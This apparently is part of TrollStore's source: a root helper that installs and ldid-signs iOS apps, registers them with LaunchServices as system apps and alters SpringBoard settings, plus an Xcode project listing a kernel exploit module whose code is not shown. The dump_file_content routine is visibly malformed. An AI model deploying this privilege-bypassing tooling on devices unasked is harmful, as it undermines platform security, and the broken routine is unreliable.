typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
extern char*** _NSGetArgv();
NSString* safe_getExecutablePath()
{
char* executablePathC = **_NSGetArgv();
return [NSString stringWithUTF8String:executablePathC];
}
NSDictionary* infoDictionaryForAppPath(NSString* appPath)
{
NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"];
return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath];
}
NSString* appIdForAppPath(NSString* appPath)
{
return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"];
}
NSString* appPathForAppId(NSString* appId, NSError** error)
{
NSString* appPath = [TROLLSTORE_APPLICATIONS_PATH stringByAppendingPathComponent:appId];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appPath error:error];
if(!items) return nil;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
return [appPath stringByAppendingPathComponent:item];
}
}
return nil;
}
static void dump_file_content(int fd)
{
ssize_t num_read;
char line_buf[256];
int cur_pos = 0;
for (;;)
{
char c;
num_read = read(fd, &c, sizeof(c));
if(num_read <= 0)
if(c == '\n' || cur_pos >= 255 || num_read <= 0)
{
line_buf[cur_pos] = '\n';
NSLog(@"%s", (char*)line_buf);
if(c == '\n') cur_pos++;
if(num_read > 0)
{
continue;
}
else
{
break;
}
}
line_buf[cur_pos++] = c;
}
}
BOOL signApp(NSString* appPath, NSError** error)
{
NSString* ldidPath = [[safe_getExecutablePath() stringByDeletingLastPathComponent] stringByAppendingPathComponent:@"ldid"];
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath])
{
NSLog(@"WARNING: ldid not found, not signing application");
return NO;
}
NSString* certPath = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app/cert.p12"];
NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath];
int out[2];
posix_spawn_file_actions_t action;
posix_spawn_file_actions_init(&action);
pipe(out);
posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO);
posix_spawn_file_actions_addclose(&action, out[0]);
char* args[] = { "ldid", "-S", "-M", (char*)certArg.UTF8String, (char*)appPath.UTF8String, NULL };
NSLog(@"%@ ldid -S -M %@ %@", ldidPath, certArg, appPath);
pid_t task_pid;
int status = -200;
int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, args, NULL);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
waitpid(task_pid, &status, WEXITED);
NSLog(@"ldid exited with status %d", status);
waitpid(task_pid, &status, 0);
NSLog(@"ldid exited with status %d", status);
NSLog(@"ldid output:");
close(out[1]);
dump_file_content(out[0]);
NSLog(@"end ldid output:");
return status == 0;
}
BOOL installApp(NSString* appPath, NSString* appId, BOOL sign, NSError** error)
{
if(sign)
{
// if it fails to sign, we don't care
signApp(appPath, error);
}
BOOL existed;
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError];
NSLog(@"installApp appContainer: %@, mcmError: %@", appContainer, mcmError);
if(!appContainer || mcmError)
{
if(error) *error = mcmError;
return NO;
}
//TODO: if TrollStore, preserve by moving it into appPath if needed ldid if needed
NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"];
if(existed)
{
// trying to update an app not installed by TrollStore... bailing out
if(![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil])
{
NSLog(@"installApp already installed and not a TrollStore app... bailing out");
return NO;
}
else
{
// update existing app... clean old app directory
NSLog(@"installApp found existing TrollStore app, cleaning directory");
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil];
NSURL* fileURL;
while(fileURL = [enumerator nextObject])
{
[[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
}
}
}
[[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil];
NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent];
NSLog(@"installApp new app path: %@", newAppPath);
BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error];
NSLog(@"installApp copied app? %d, adding to uicache now...", suc);
registerPath((char*)newAppPath.UTF8String, 0);
return YES;
}
BOOL uninstallApp(NSString* appId, NSError** error)
{
NSString* appPath = appPathForAppId(appId, error);
if(!appPath) return NO;
registerPath((char*)appPath.UTF8String, 1);
return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error];
}
BOOL installIpa(NSString* ipaPath, NSError** error)
{
BOOL suc = NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:error];
if(!suc) return NO;
extract(ipaPath, tmpPath);
NSString* tmpPayloadPath = [tmpPath stringByAppendingPathComponent:@"Payload"];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:tmpPayloadPath error:error];
if(!items) return NO;
NSString* tmpAppPath;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
tmpAppPath = [tmpPayloadPath stringByAppendingPathComponent:item];
break;
}
}
if(!tmpAppPath) return NO;
NSString* appId = appIdForAppPath(tmpAppPath);
suc = installApp(tmpAppPath, appId, YES, error);
[[NSFileManager defaultManager] removeItemAtPath:tmpAppPath error:nil];
return suc;
}
void uninstallAllApps(void)
{
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:TROLLSTORE_APPLICATIONS_PATH error:nil];
for(NSString* appId in items)
{
NSString* appPath = appPathForAppId(appId, nil);
registerPath((char*)appPath.UTF8String, 1);
}
[[NSFileManager defaultManager] removeItemAtPath:TROLLSTORE_ROOT_PATH error:nil];
}
BOOL uninstallTrollStore(void)
{
NSString* trollStore = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStore]) return NO;
registerPath((char*)trollStore.UTF8String, 1);
return [[NSFileManager defaultManager] removeItemAtPath:trollStore error:nil];
}
BOOL installTrollStore(NSString* pathToTar)
{
_CFPreferencesSetValueWithContainerType _CFPreferencesSetValueWithContainer = (_CFPreferencesSetValueWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSetValueWithContainer");
_CFPreferencesSynchronizeWithContainerType _CFPreferencesSynchronizeWithContainer = (_CFPreferencesSynchronizeWithContainerType)dlsym(RTLD_DEFAULT, "_CFPreferencesSynchronizeWithContainer");
_CFPreferencesSetValueWithContainer(CFSTR("SBShowNonDefaultSystemApps"), kCFBooleanTrue, CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
_CFPreferencesSynchronizeWithContainer(CFSTR("com.apple.springboard"), CFSTR("mobile"), kCFPreferencesAnyHost, kCFPreferencesNoContainer);
if(![[NSFileManager defaultManager] fileExistsAtPath:pathToTar]) return NO;
if(![pathToTar.pathExtension isEqualToString:@"tar"]) return NO;
NSString* tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
BOOL suc = [[NSFileManager defaultManager] createDirectoryAtPath:tmpPath withIntermediateDirectories:NO attributes:nil error:nil];
if(!suc) return NO;
extract(pathToTar, tmpPath);
NSLog(@"installTrollStore extracted %@ to %@", pathToTar, tmpPath);
NSString* tmpTrollStore = [tmpPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStore]) return NO;
NSLog(@"installTrollStore temp TrollStore path: %@", tmpTrollStore);
NSString* tmpTrollStoreMain = [tmpTrollStore stringByAppendingPathComponent:@"TrollStore"];
NSString* tmpTrollStoreRootHelper = [tmpTrollStore stringByAppendingPathComponent:@"trollstorehelper"];
NSString* tmpTrollStoreLdid = [tmpTrollStore stringByAppendingPathComponent:@"ldid"];
// make executable
chmod(tmpTrollStoreMain.UTF8String, 0755);
chmod(tmpTrollStoreRootHelper.UTF8String, 0755);
chmod(tmpTrollStoreLdid.UTF8String, 0755);
// set owners
chown(tmpTrollStoreMain.UTF8String, 33, 33);
chown(tmpTrollStoreRootHelper.UTF8String, 0, 0); // set root helper binary owner to root
chown(tmpTrollStoreLdid.UTF8String, 0, 0);
NSLog(@"installTrollStore extracted and prepared TrollStore app, now installing...");
installApp(tmpTrollStore, @"com.apple.TrollStore", NO, nil);
[[NSFileManager defaultManager] removeItemAtPath:tmpPath error:nil];
return YES;
}
int main(int argc, char *argv[], char *envp[]) {
@autoreleasepool {
if(argc <= 1) return -1;
NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid());
NSLog(@"ok %d", argc);
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
[mcmBundle load];
BOOL suc = NO;
NSError* error;
NSString* cmd = [NSString stringWithUTF8String:argv[1]];
if([cmd isEqualToString:@"install"])
{
if(argc <= 2) return -2;
NSString* ipaPath = [NSString stringWithUTF8String:argv[2]];
suc = installIpa(ipaPath, &error);
} else if([cmd isEqualToString:@"uninstall"])
{
if(argc <= 2) return -2;
NSString* appId = [NSString stringWithUTF8String:argv[2]];
suc = uninstallApp(appId, &error);
} else if([cmd isEqualToString:@"install-trollstore"])
{
if(argc <= 2) return -2;
NSString* tsTar = [NSString stringWithUTF8String:argv[2]];
suc = installTrollStore(tsTar);
NSLog(@"installed troll store? %d", suc);
} else if([cmd isEqualToString:@"uninstall-trollstore"])
{
uninstallTrollStore();
uninstallAllApps();
}
if(!suc)
{
NSLog(@"error: %@", error);
}
return !suc;
}
}

1
Helper/uicache.h Normal file
View File

@ -0,0 +1 @@
extern void registerPath(char *path, int unregister);

92
Helper/uicache.m Normal file
View File

@ -0,0 +1,92 @@
@import Foundation;
@import CoreServices;
#import "CoreServices.h"
#import <objc/runtime.h>
#import "dlfcn.h"
void registerPath(char *path, int unregister)
{
if(!path) return;
LSApplicationWorkspace *workspace =
[LSApplicationWorkspace defaultWorkspace];
if (unregister && ![[NSFileManager defaultManager] fileExistsAtPath:[NSString stringWithUTF8String:path]]) {
LSApplicationProxy *app = [LSApplicationProxy
applicationProxyForIdentifier:[NSString stringWithUTF8String:path]];
if (app.bundleURL)
path = (char *)[[app bundleURL] fileSystemRepresentation];
}
NSString *rawPath = [NSString stringWithUTF8String:path];
rawPath = [rawPath stringByResolvingSymlinksInPath];
NSDictionary *infoPlist = [NSDictionary
dictionaryWithContentsOfFile:
[rawPath stringByAppendingPathComponent:@"Info.plist"]];
NSString *bundleID = [infoPlist objectForKey:@"CFBundleIdentifier"];
NSURL *url = [NSURL fileURLWithPath:rawPath];
if (bundleID && !unregister) {
MCMContainer *appContainer = [objc_getClass("MCMAppDataContainer")
containerWithIdentifier:bundleID
createIfNecessary:YES
existed:nil
error:nil];
NSString *containerPath = [appContainer url].path;
NSMutableDictionary *plist = [NSMutableDictionary dictionary];
[plist setObject:@"System" forKey:@"ApplicationType"];
[plist setObject:@1 forKey:@"BundleNameIsLocalized"];
[plist setObject:bundleID forKey:@"CFBundleIdentifier"];
[plist setObject:@0 forKey:@"CompatibilityState"];
if (containerPath) [plist setObject:containerPath forKey:@"Container"];
[plist setObject:@0 forKey:@"IsDeletable"];
[plist setObject:rawPath forKey:@"Path"];
NSString *pluginsPath =
[rawPath stringByAppendingPathComponent:@"PlugIns"];
NSArray *plugins = [[NSFileManager defaultManager]
contentsOfDirectoryAtPath:pluginsPath
error:nil];
NSMutableDictionary *bundlePlugins = [NSMutableDictionary dictionary];
for (NSString *pluginName in plugins) {
NSString *fullPath =
[pluginsPath stringByAppendingPathComponent:pluginName];
NSDictionary *infoPlist = [NSDictionary
dictionaryWithContentsOfFile:
[fullPath stringByAppendingPathComponent:@"Info.plist"]];
NSString *pluginBundleID =
[infoPlist objectForKey:@"CFBundleIdentifier"];
if (!pluginBundleID) continue;
MCMContainer *pluginContainer =
[objc_getClass("MCMPluginKitPluginDataContainer")
containerWithIdentifier:pluginBundleID
createIfNecessary:YES
existed:nil
error:nil];
NSString *pluginContainerPath = [pluginContainer url].path;
NSMutableDictionary *pluginPlist = [NSMutableDictionary dictionary];
[pluginPlist setObject:@"PluginKitPlugin"
forKey:@"ApplicationType"];
[pluginPlist setObject:@1 forKey:@"BundleNameIsLocalized"];
[pluginPlist setObject:pluginBundleID forKey:@"CFBundleIdentifier"];
[pluginPlist setObject:@0 forKey:@"CompatibilityState"];
[pluginPlist setObject:pluginContainerPath forKey:@"Container"];
[pluginPlist setObject:fullPath forKey:@"Path"];
[pluginPlist setObject:bundleID forKey:@"PluginOwnerBundleID"];
[bundlePlugins setObject:pluginPlist forKey:pluginBundleID];
}
[plist setObject:bundlePlugins forKey:@"_LSBundlePlugins"];
if (![workspace registerApplicationDictionary:plist]) {
fprintf(stderr, "Error: Unable to register %s\n", path);
}
} else {
if (![workspace unregisterApplication:url]) {
fprintf(stderr, "Error: Unable to unregister %s\n", path);
}
}
}

3
Helper/unarchive.h Normal file
View File

@ -0,0 +1,3 @@
@import Foundation;
extern int extract(NSString* fileToExtract, NSString* extractionPath);

87
Helper/unarchive.m Normal file
View File

@ -0,0 +1,87 @@
#import "unarchive.h"
#include <libarchive/archive.h>
#include <libarchive/archive_entry.h>
static int
copy_data(struct archive *ar, struct archive *aw)
{
int r;
const void *buff;
size_t size;
la_int64_t offset;
for (;;) {
r = archive_read_data_block(ar, &buff, &size, &offset);
if (r == ARCHIVE_EOF)
return (ARCHIVE_OK);
if (r < ARCHIVE_OK)
return (r);
r = archive_write_data_block(aw, buff, size, offset);
if (r < ARCHIVE_OK) {
fprintf(stderr, "%s\n", archive_error_string(aw));
return (r);
}
}
}
int extract(NSString* fileToExtract, NSString* extractionPath)
{
struct archive *a;
struct archive *ext;
struct archive_entry *entry;
int flags;
int r;
/* Select which attributes we want to restore. */
flags = ARCHIVE_EXTRACT_TIME;
flags |= ARCHIVE_EXTRACT_PERM;
flags |= ARCHIVE_EXTRACT_ACL;
flags |= ARCHIVE_EXTRACT_FFLAGS;
a = archive_read_new();
archive_read_support_format_all(a);
archive_read_support_filter_all(a);
ext = archive_write_disk_new();
archive_write_disk_set_options(ext, flags);
archive_write_disk_set_standard_lookup(ext);
if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240)))
return 1;
for (;;)
{
r = archive_read_next_header(a, &entry);
if (r == ARCHIVE_EOF)
break;
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(a));
if (r < ARCHIVE_WARN)
return 1;
NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)];
NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile];
//printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String);
archive_entry_set_pathname(entry, fullOutputPath.UTF8String);
r = archive_write_header(ext, entry);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
else if (archive_entry_size(entry) > 0) {
r = copy_data(a, ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
r = archive_write_finish_entry(ext);
if (r < ARCHIVE_OK)
fprintf(stderr, "%s\n", archive_error_string(ext));
if (r < ARCHIVE_WARN)
return 1;
}
archive_read_close(a);
archive_read_free(a);
archive_write_close(ext);
archive_write_free(ext);
return 0;
}

View File

@ -0,0 +1,478 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 55;
objects = {
/* Begin PBXBuildFile section */
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4D6A3428C17B010004DEA4 /* unarchive.m */; };
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */ = {isa = PBXBuildFile; fileRef = 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */; };
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3928AE47A200837105 /* kernel_rw.c */; };
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3A28AE47A200837105 /* port_utils.c */; };
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3B28AE47A200837105 /* IOGPU.c */; };
8CDF7C4C28AE47A200837105 /* spray.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3D28AE47A200837105 /* spray.c */; };
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3E28AE47A200837105 /* mcast.c */; };
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3F28AE47A200837105 /* kernel_base.c */; };
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */; };
8CDF7C5028AE47A200837105 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4128AE47A200837105 /* necp.c */; };
8CDF7C5128AE47A200837105 /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4828AE47A200837105 /* exploit.c */; };
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */; };
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */; };
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2A28AD5D710058FBAD /* ViewController.m */; };
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */; };
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */; };
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */; };
8CE2BD3628AD5D730058FBAD /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3528AD5D730058FBAD /* main.m */; };
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7228AD5E060058FBAD /* KernelManager.m */; };
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7528AD5E1A0058FBAD /* kutil.m */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
8C4D6A3428C17B010004DEA4 /* unarchive.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unarchive.m; sourceTree = "<group>"; };
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = unarchive.h; sourceTree = "<group>"; };
8C4D6A3728C17B830004DEA4 /* archive_entry.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive_entry.h; sourceTree = "<group>"; };
8C4D6A3828C17B830004DEA4 /* archive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; name = TrollStore.tar; path = ../../../_compile/out/TrollStore.tar; sourceTree = "<group>"; };
8CDF7C3528AE47A200837105 /* kernel_base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_base.h; sourceTree = "<group>"; };
8CDF7C3628AE47A200837105 /* xpaci.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpaci.h; sourceTree = "<group>"; };
8CDF7C3728AE47A200837105 /* necp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurfaceRoot.h; sourceTree = "<group>"; };
8CDF7C3928AE47A200837105 /* kernel_rw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_rw.c; sourceTree = "<group>"; };
8CDF7C3A28AE47A200837105 /* port_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = port_utils.c; sourceTree = "<group>"; };
8CDF7C3B28AE47A200837105 /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = "<group>"; };
8CDF7C3C28AE47A200837105 /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = "<group>"; };
8CDF7C3D28AE47A200837105 /* spray.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = spray.c; sourceTree = "<group>"; };
8CDF7C3E28AE47A200837105 /* mcast.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mcast.c; sourceTree = "<group>"; };
8CDF7C3F28AE47A200837105 /* kernel_base.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_base.c; sourceTree = "<group>"; };
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurfaceRoot.c; sourceTree = "<group>"; };
8CDF7C4128AE47A200837105 /* necp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
8CDF7C4228AE47A200837105 /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
8CDF7C4328AE47A200837105 /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = "<group>"; };
8CDF7C4428AE47A200837105 /* port_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = port_utils.h; sourceTree = "<group>"; };
8CDF7C4528AE47A200837105 /* kernel_rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_rw.h; sourceTree = "<group>"; };
8CDF7C4628AE47A200837105 /* mcast.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mcast.h; sourceTree = "<group>"; };
8CDF7C4728AE47A200837105 /* spray.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = spray.h; sourceTree = "<group>"; };
8CDF7C4828AE47A200837105 /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = "<group>"; };
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = TrollInstaller.app; sourceTree = BUILT_PRODUCTS_DIR; };
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = "<group>"; };
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = "<group>"; };
8CE2BD2928AD5D710058FBAD /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
8CE2BD2A28AD5D710058FBAD /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; };
8CE2BD2D28AD5D720058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
8CE2BD3228AD5D730058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
8CE2BD3428AD5D730058FBAD /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
8CE2BD3528AD5D730058FBAD /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
8CE2BD7228AD5E060058FBAD /* KernelManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelManager.m; sourceTree = "<group>"; };
8CE2BD7328AD5E060058FBAD /* KernelManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelManager.h; sourceTree = "<group>"; };
8CE2BD7528AD5E1A0058FBAD /* kutil.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kutil.m; sourceTree = "<group>"; };
8CE2BD7628AD5E1A0058FBAD /* kutil.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutil.h; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
8CE2BD1D28AD5D710058FBAD /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
8C4D6A3128C17A490004DEA4 /* headers */ = {
isa = PBXGroup;
children = (
8C4D6A3728C17B830004DEA4 /* archive_entry.h */,
8C4D6A3828C17B830004DEA4 /* archive.h */,
);
path = headers;
sourceTree = "<group>";
};
8CDF7C3428AE47A200837105 /* exploit */ = {
isa = PBXGroup;
children = (
8CDF7C3528AE47A200837105 /* kernel_base.h */,
8CDF7C3628AE47A200837105 /* xpaci.h */,
8CDF7C3728AE47A200837105 /* necp.h */,
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */,
8CDF7C3928AE47A200837105 /* kernel_rw.c */,
8CDF7C3A28AE47A200837105 /* port_utils.c */,
8CDF7C3B28AE47A200837105 /* IOGPU.c */,
8CDF7C3C28AE47A200837105 /* exploit.h */,
8CDF7C3D28AE47A200837105 /* spray.c */,
8CDF7C3E28AE47A200837105 /* mcast.c */,
8CDF7C3F28AE47A200837105 /* kernel_base.c */,
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */,
8CDF7C4128AE47A200837105 /* necp.c */,
8CDF7C4228AE47A200837105 /* iokit.h */,
8CDF7C4328AE47A200837105 /* IOGPU.h */,
8CDF7C4428AE47A200837105 /* port_utils.h */,
8CDF7C4528AE47A200837105 /* kernel_rw.h */,
8CDF7C4628AE47A200837105 /* mcast.h */,
8CDF7C4728AE47A200837105 /* spray.h */,
8CDF7C4828AE47A200837105 /* exploit.c */,
);
path = exploit;
sourceTree = "<group>";
};
8CE2BD1728AD5D710058FBAD = {
isa = PBXGroup;
children = (
8CE2BD2228AD5D710058FBAD /* TrollInstaller */,
8CE2BD2128AD5D710058FBAD /* Products */,
);
sourceTree = "<group>";
};
8CE2BD2128AD5D710058FBAD /* Products */ = {
isa = PBXGroup;
children = (
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */,
);
name = Products;
sourceTree = "<group>";
};
8CE2BD2228AD5D710058FBAD /* TrollInstaller */ = {
isa = PBXGroup;
children = (
8C4D6A3128C17A490004DEA4 /* headers */,
8CDF7C3428AE47A200837105 /* exploit */,
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */,
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */,
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */,
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */,
8CE2BD2928AD5D710058FBAD /* ViewController.h */,
8CE2BD2A28AD5D710058FBAD /* ViewController.m */,
8CE2BD7328AD5E060058FBAD /* KernelManager.h */,
